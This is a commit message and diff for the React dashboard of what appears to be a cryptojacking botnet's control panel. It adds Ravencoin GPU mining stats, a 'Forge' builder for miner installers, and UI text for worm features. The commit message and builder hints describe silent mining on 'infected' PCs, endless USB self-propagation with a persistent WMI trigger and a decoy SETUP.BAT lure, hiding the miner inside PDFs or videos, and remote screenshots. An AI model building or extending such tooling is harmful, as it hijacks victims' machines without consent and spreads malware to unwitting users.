Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

server/web/src/pages/AgentsPage.tsx

@@ -213,6 +213,12 @@ export default function AgentsPage() {
     } catch (err) {
       console.error(err);
     }
+    // Auto-fetch sysinfo so the terminal is pre-populated immediately
+    if (agent.status === 'online') {
+      setTimeout(() => {
+        api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
+      }, 300);
+    }
   };
 
   const saveMeta = async () => {
@@ -606,6 +612,7 @@ export default function AgentsPage() {
                   agent={selectedAgent}
                   online={selectedAgent.status === 'online'}
                   commandResults={commandResults}
+                  showLiveStats
                   onCommandSent={(action: string) => {
                     if (action === 'get_log') refreshLog(true);
                   }}

server/web/src/pages/BuilderPage.test.tsx

@@ -85,7 +85,7 @@ describe('BuilderPage', () => {
     vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
     renderBuilder();
     expect(
-      await screen.findByText('Failed to load server info — is the control server running?')
+      await screen.findByText('Failed to load server config — is the control server running?')
     ).toBeInTheDocument();
   });
 
@@ -101,7 +101,7 @@ describe('BuilderPage', () => {
     await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
     expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
     expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
-    expect(screen.getByText('Pool Host')).toBeInTheDocument();
+    expect(screen.getByText('Mining Pools')).toBeInTheDocument();
   });
 
   it('submits forge when preflight passes', async () => {
@@ -181,7 +181,7 @@ describe('BuilderPage', () => {
       screen.getByRole('button', { name: /Hide miner in any file/i })
     );
     expect(
-      screen.getByText(/Fusion selected — drop your files below and forge/i)
+      screen.getByText(/Drop any file — PDF, video, document/i)
     ).toBeInTheDocument();
   });
 });

server/web/src/pages/BuilderPage.tsx

@@ -30,6 +30,7 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
 import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
 import DownloadButton from '../components/DownloadButton';
 import PoolPresetPicker from '../components/PoolPresetPicker';
+import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
 import { useForge } from '../context/ForgeContext';
 import {
   fusionPayloadKind,
@@ -1133,6 +1134,73 @@ export default function BuilderPage() {
                 </div>
               </div>
 
+              {/* ── GPU Mining (Ravencoin / KawPoW) ── */}
+              <div className="form-section">
+                <ForgeSectionHeader
+                  title="GPU Mining — Ravencoin"
+                  badge="baked"
+                  description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
+                />
+                <div className="form-group">
+                  <label className="checkbox-label">
+                    <input
+                      type="checkbox"
+                      className="checkbox"
+                      checked={!!form.gpu_enabled}
+                      onChange={(e) => updateField('gpu_enabled', e.target.checked)}
+                    />
+                    <span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
+                  </label>
+                  <p className="form-hint">
+                    When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
+                  </p>
+                </div>
+                {form.gpu_enabled && (
+                  <>
+                    <div className="form-group">
+                      <label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
+                      <input
+                        type="text"
+                        className="input mono"
+                        placeholder="R... (your RVN address)"
+                        value={form.rvn_wallet ?? ''}
+                        onChange={(e) => updateField('rvn_wallet', e.target.value)}
+                      />
+                      <p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
+                    </div>
+
+                    <div className="form-group">
+                      <label className="label">Ravencoin Pools</label>
+                      <RVNPoolPresetPicker
+                        host={form.rvn_pool_host ?? ''}
+                        port={form.rvn_pool_port ?? 6060}
+                        tls={form.rvn_pool_tls ?? false}
+                        pass={form.rvn_pool_pass ?? 'x'}
+                        backups={form.rvn_backup_pools ?? []}
+                        onChange={(next) => {
+                          updateField('rvn_pool_host', next.rvn_pool_host);
+                          updateField('rvn_pool_port', next.rvn_pool_port);
+                          updateField('rvn_pool_tls', next.rvn_pool_tls);
+                          updateField('rvn_backup_pools', next.rvn_backup_pools);
+                        }}
+                      />
+                    </div>
+
+                    <div className="form-group">
+                      <label className="label">RVN Pool Password</label>
+                      <input
+                        type="text"
+                        className="input"
+                        placeholder="x"
+                        value={form.rvn_pool_pass ?? 'x'}
+                        onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
+                      />
+                      <p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
+                    </div>
+                  </>
+                )}
+              </div>
+
               <div className="form-section">
                 <ForgeSectionHeader
                   title="Deliverable"
@@ -2007,7 +2075,7 @@ export default function BuilderPage() {
                 </label>
                 {form.usb_spread && (
                   <div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
-                    Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
+                    ⚡ Perpetual chain — agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
                   </div>
                 )}
                 <FieldHint field="usb_spread" />

server/web/src/pages/DashboardPage.tsx

@@ -47,6 +47,16 @@ import {
   osArchBreakdown,
 } from '../help/fleetAnalytics';
 import './Pages.css';
+
+/** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */
+function formatGPUHashrate(hps: number): string {
+  if (!hps || hps <= 0) return '0 H/s';
+  if (hps >= 1e9) return `${(hps / 1e9).toFixed(2)} GH/s`;
+  if (hps >= 1e6) return `${(hps / 1e6).toFixed(2)} MH/s`;
+  if (hps >= 1e3) return `${(hps / 1e3).toFixed(2)} KH/s`;
+  return `${hps.toFixed(0)} H/s`;
+}
+
 export default function DashboardPage() {
   const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
   const [shares, setShares] = useState<Share[]>([]);
@@ -117,6 +127,29 @@ export default function DashboardPage() {
   const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
   const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0);
   const acceptRate = totalShares > 0 ? (acceptedShares / totalShares) * 100 : 0;
+
+  // ── Ravencoin / GPU fleet stats ────────────────────────────────────────────
+  const gpuAgents = useMemo(
+    () => agents.filter((a) => a.gpu_miner_active && a.status === 'online'),
+    [agents]
+  );
+  const totalGPUHashrate = useMemo(
+    () => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15m ?? 0), 0),
+    [gpuAgents]
+  );
+  const gpuHashrate15s = useMemo(
+    () => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15s ?? 0), 0),
+    [gpuAgents]
+  );
+  const bestGPUAgent = useMemo(
+    () => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
+    [gpuAgents]
+  );
+  const gpuModels = useMemo(
+    () => [...new Set(gpuAgents.map((a) => a.gpu_model).filter(Boolean))],
+    [gpuAgents]
+  );
+  const hasGPUMining = gpuAgents.length > 0;
   const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0;
   const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
   const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
@@ -455,6 +488,139 @@ export default function DashboardPage() {
         </NeonCard>
       </div>
 
+      {/* ═══════════════════════════════════════════════════════════════════
+           MONERO SUBHEADING — clarify the section above belongs to XMR
+           ═══════════════════════════════════════════════════════════════════ */}
+      <div className="mining-coin-label monero-label">
+        <span className="coin-badge xmr-badge">XMR</span>
+        <span className="coin-name font-tech">MONERO</span>
+        <span className="coin-algo font-tech">· RandomX CPU ·</span>
+        <span className="coin-hr font-tech">{formatHashrate(totalHashrate)}</span>
+      </div>
+
+      {/* ═══════════════════════════════════════════════════════════════════
+           RAVENCOIN GPU SECTION
+           ═══════════════════════════════════════════════════════════════════ */}
+      {hasGPUMining && (
+        <div className="rvn-section">
+          <div className="mining-coin-label rvn-label">
+            <span className="coin-badge rvn-badge">RVN</span>
+            <span className="coin-name font-tech">RAVENCOIN</span>
+            <span className="coin-algo font-tech">· KawPoW GPU ·</span>
+            <span className="coin-hr font-tech rvn-hashrate">{formatGPUHashrate(totalGPUHashrate)}</span>
+          </div>
+
+          {/* Gauge row */}
+          <section className="gauge-row rvn-gauges">
+            <NeonCard accent="gold" className="gauge-card" hud>
+              <GaugeRing
+                value={totalGPUHashrate}
+                max={Math.max(totalGPUHashrate * 1.2, 1e6)}
+                label="GPU Hash"
+                sublabel="15m avg"
+                color="var(--neon-gold)"
+                size={110}
+              />
+            </NeonCard>
+            <NeonCard accent="amber" className="gauge-card" hud>
+              <GaugeRing
+                value={gpuHashrate15s}
+                max={Math.max(gpuHashrate15s * 1.2, 1e6)}
+                label="GPU Live"
+                sublabel="15s sample"
+                color="var(--neon-amber)"
+                size={110}
+              />
+            </NeonCard>
+            <NeonCard accent="cyan" className="gauge-card" hud>
+              <GaugeRing
+                value={gpuAgents.length}
+                max={Math.max(agents.length, 1)}
+                label="GPU Rigs"
+                sublabel={`of ${agents.length} nodes`}
+                color="var(--neon-cyan)"
+                size={110}
+              />
+            </NeonCard>
+          </section>
+
+          {/* Stats cards */}
+          <div className="grid-4 stats-grid rvn-stats-grid">
+            <NeonCard accent="gold" className="stat-card-wrap rvn-stat-card">
+              <div className="stat-label font-tech">GPU Fleet Hash</div>
+              <div className="stat-value rvn-hashrate neon-glow-gold">{formatGPUHashrate(totalGPUHashrate)}</div>
+              <div className="stat-sub">{gpuAgents.length} GPU rig{gpuAgents.length !== 1 ? 's' : ''} firing</div>
+            </NeonCard>
+
+            <NeonCard accent="amber" className="stat-card-wrap rvn-stat-card">
+              <div className="stat-label font-tech">Top GPU Rig</div>
+              {bestGPUAgent ? (
+                <>
+                  <div className="stat-value neon-glow-amber" style={{ fontSize: '1.1rem' }}>
+                    {(bestGPUAgent.name.length > 14 ? bestGPUAgent.name.slice(0, 13) + '…' : bestGPUAgent.name)}
+                  </div>
+                  <div className="stat-sub">{formatGPUHashrate(bestGPUAgent.gpu_hashrate_15m ?? 0)} · {bestGPUAgent.gpu_model ?? 'GPU'}</div>
+                </>
+              ) : (
+                <><div className="stat-value stat-dim">—</div><div className="stat-sub">none active</div></>
+              )}
+            </NeonCard>
+
+            <NeonCard accent="cyan" className="stat-card-wrap rvn-stat-card">
+              <div className="stat-label font-tech">GPU Models</div>
+              <div className="stat-value neon-glow-cyan" style={{ fontSize: '1rem', lineHeight: '1.3' }}>
+                {gpuModels.length > 0 ? (
+                  gpuModels.slice(0, 2).map((m) => (
+                    <div key={m} style={{ fontSize: '0.8em', fontFamily: 'var(--font-tech)' }}>{m}</div>
+                  ))
+                ) : (
+                  <span className="stat-dim">—</span>
+                )}
+              </div>
+              <div className="stat-sub">{gpuModels.length} distinct model{gpuModels.length !== 1 ? 's' : ''}</div>
+            </NeonCard>
+
+            <NeonCard accent="purple" className="stat-card-wrap rvn-stat-card">
+              <div className="stat-label font-tech">GPU Live Rate</div>
+              <div className="stat-value neon-glow-purple">{formatGPUHashrate(gpuHashrate15s)}</div>
+              <div className="stat-sub">15-second snapshot</div>
+            </NeonCard>
+          </div>
+
+          {/* Per-rig GPU breakdown */}
+          {gpuAgents.length > 0 && (
+            <NeonCard accent="gold" className="rvn-rig-table-card" hud>
+              <div className="stat-label font-tech" style={{ marginBottom: '0.75rem' }}>GPU Rig Detail</div>
+              <div className="rvn-rig-table">
+                {gpuAgents.map((a) => {
+                  const hr = a.gpu_hashrate_15m ?? 0;
+                  const pct = totalGPUHashrate > 0 ? (hr / totalGPUHashrate) * 100 : 0;
+                  return (
+                    <div key={a.id} className="rvn-rig-row">
+                      <span className="rvn-rig-name font-tech">{a.name}</span>
+                      <span className="rvn-rig-model">{a.gpu_model ?? '—'}</span>
+                      <span className="rvn-rig-hr neon-glow-gold">{formatGPUHashrate(hr)}</span>
+                      <div className="rvn-rig-bar-wrap">
+                        <div
+                          className="rvn-rig-bar"
+                          style={{ width: `${pct.toFixed(1)}%` } as React.CSSProperties}
+                        />
+                      </div>
+                      <span className="rvn-rig-pct">{pct.toFixed(1)}%</span>
+                      {(a.gpu_temp_c ?? 0) > 0 && (
+                        <span className={`rvn-rig-temp ${(a.gpu_temp_c ?? 0) > 80 ? 'temp-hot' : ''}`}>
+                          {a.gpu_temp_c}°C
+                        </span>
+                      )}
+                    </div>
+                  );
+                })}
+              </div>
+            </NeonCard>
+          )}
+        </div>
+      )}
+
       {/* ── Analytics row — always visible ─────────────────────────────────── */}
       <ContributionBars bars={contribs} xmrPrice={xmrPrice} />
       <UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />

server/web/src/pages/Pages.css

@@ -1502,3 +1502,214 @@ button.deliverable-card .form-hint {
   font-size: 0.78rem;
   padding: 0.28rem 0.7rem;
 }
+
+/* ─── Mining Coin Labels (Monero / Ravencoin) ────────────────────────────── */
+.mining-coin-label {
+  display: flex;
+  align-items: center;
+  gap: 0.65rem;
+  margin: 1.5rem 0 0.75rem;
+  padding: 0.5rem 1rem;
+  border-radius: 6px;
+  background: rgba(0,0,0,0.3);
+  border-left: 3px solid var(--neon-cyan);
+}
+
+.monero-label {
+  border-left-color: var(--neon-cyan);
+}
+
+.rvn-label {
+  border-left-color: #f5a623;
+}
+
+.coin-badge {
+  font-family: var(--font-tech);
+  font-size: 0.7rem;
+  padding: 0.15rem 0.5rem;
+  border-radius: 4px;
+  font-weight: 700;
+  letter-spacing: 0.1em;
+}
+
+.xmr-badge {
+  background: rgba(0, 255, 255, 0.15);
+  color: var(--neon-cyan);
+  border: 1px solid var(--neon-cyan);
+}
+
+.rvn-badge {
+  background: rgba(245, 166, 35, 0.15);
+  color: #f5a623;
+  border: 1px solid #f5a623;
+}
+
+.coin-name {
+  font-size: 0.9rem;
+  font-weight: 700;
+  letter-spacing: 0.15em;
+  color: #e0e0e0;
+}
+
+.coin-algo {
+  font-size: 0.75rem;
+  color: var(--text-muted);
+  letter-spacing: 0.05em;
+}
+
+.coin-hr {
+  margin-left: auto;
+  font-size: 1rem;
+  font-weight: 700;
+  color: var(--neon-cyan);
+}
+
+.rvn-label .coin-hr {
+  color: #f5a623;
+}
+
+/* ─── RVN Section ────────────────────────────────────────────────────────── */
+.rvn-section {
+  margin-top: 0.5rem;
+  padding-top: 0.5rem;
+  border-top: 1px solid rgba(245, 166, 35, 0.2);
+}
+
+.rvn-hashrate {
+  color: #f5a623 !important;
+  text-shadow: 0 0 12px rgba(245, 166, 35, 0.6), 0 0 24px rgba(245, 166, 35, 0.3);
+}
+
+.rvn-gauges {
+  grid-template-columns: repeat(3, 1fr);
+}
+
+.rvn-stats-grid .rvn-stat-card {
+  background: linear-gradient(135deg, rgba(245, 166, 35, 0.06) 0%, rgba(0,0,0,0.0) 100%);
+  border: 1px solid rgba(245, 166, 35, 0.2);
+  text-align: center;
+  padding: 1.25rem !important;
+  position: relative;
+  overflow: hidden;
+}
+
+.rvn-stats-grid .rvn-stat-card::before {
+  content: '';
+  position: absolute;
+  inset: 0;
+  background: radial-gradient(ellipse at top, rgba(245,166,35,0.08) 0%, transparent 70%);
+  pointer-events: none;
+}
+
+.rvn-stats-grid .stat-label {
+  color: rgba(245, 166, 35, 0.7);
+  letter-spacing: 0.15em;
+}
+
+.neon-glow-gold {
+  color: #f5a623;
+  text-shadow: 0 0 8px rgba(245, 166, 35, 0.7), 0 0 16px rgba(245, 166, 35, 0.4);
+}
+
+/* ─── RVN Rig Detail Table ───────────────────────────────────────────────── */
+.rvn-rig-table-card {
+  padding: 1.25rem !important;
+  background: rgba(245,166,35,0.03);
+  border: 1px solid rgba(245,166,35,0.15) !important;
+}
+
+.rvn-rig-table {
+  display: flex;
+  flex-direction: column;
+  gap: 0.6rem;
+}
+
+.rvn-rig-row {
+  display: grid;
+  grid-template-columns: 1fr 1.5fr 80px 1fr 42px 48px;
+  align-items: center;
+  gap: 0.5rem;
+  padding: 0.4rem 0.6rem;
+  border-radius: 4px;
+  background: rgba(0,0,0,0.25);
+  border-left: 2px solid rgba(245,166,35,0.35);
+  font-size: 0.82rem;
+  transition: background 0.15s;
+}
+
+.rvn-rig-row:hover {
+  background: rgba(245,166,35,0.07);
+}
+
+.rvn-rig-name {
+  font-size: 0.78rem;
+  color: #c0c0c0;
+  white-space: nowrap;
+  overflow: hidden;
+  text-overflow: ellipsis;
+}
+
+.rvn-rig-model {
+  color: var(--text-muted);
+  font-size: 0.72rem;
+  white-space: nowrap;
+  overflow: hidden;
+  text-overflow: ellipsis;
+}
+
+.rvn-rig-hr {
+  font-family: var(--font-tech);
+  font-size: 0.8rem;
+  font-weight: 600;
+  text-align: right;
+}
+
+.rvn-rig-bar-wrap {
+  height: 6px;
+  background: rgba(255,255,255,0.08);
+  border-radius: 3px;
+  overflow: hidden;
+}
+
+.rvn-rig-bar {
+  height: 100%;
+  background: linear-gradient(90deg, #f5a623, #ffcc55);
+  border-radius: 3px;
+  box-shadow: 0 0 6px rgba(245,166,35,0.5);
+  transition: width 0.6s ease;
+}
+
+.rvn-rig-pct {
+  font-family: var(--font-tech);
+  font-size: 0.7rem;
+  color: var(--text-muted);
+  text-align: right;
+}
+
+.rvn-rig-temp {
+  font-family: var(--font-tech);
+  font-size: 0.72rem;
+  color: var(--neon-cyan);
+  text-align: right;
+}
+
+.rvn-rig-temp.temp-hot {
+  color: var(--neon-amber);
+  text-shadow: 0 0 6px rgba(255,165,0,0.5);
+}
+
+/* RVN GPU section in the Forge */
+.rvn-pool-picker .pool-preset-provider {
+  color: #f5a623 !important;
+}
+
+@media (max-width: 700px) {
+  .rvn-gauges {
+    grid-template-columns: repeat(2, 1fr);
+  }
+  .rvn-rig-row {
+    grid-template-columns: 1fr 80px 1fr 42px;
+  }
+  .rvn-rig-model,
+  .rvn-rig-pct { display: none; }
+}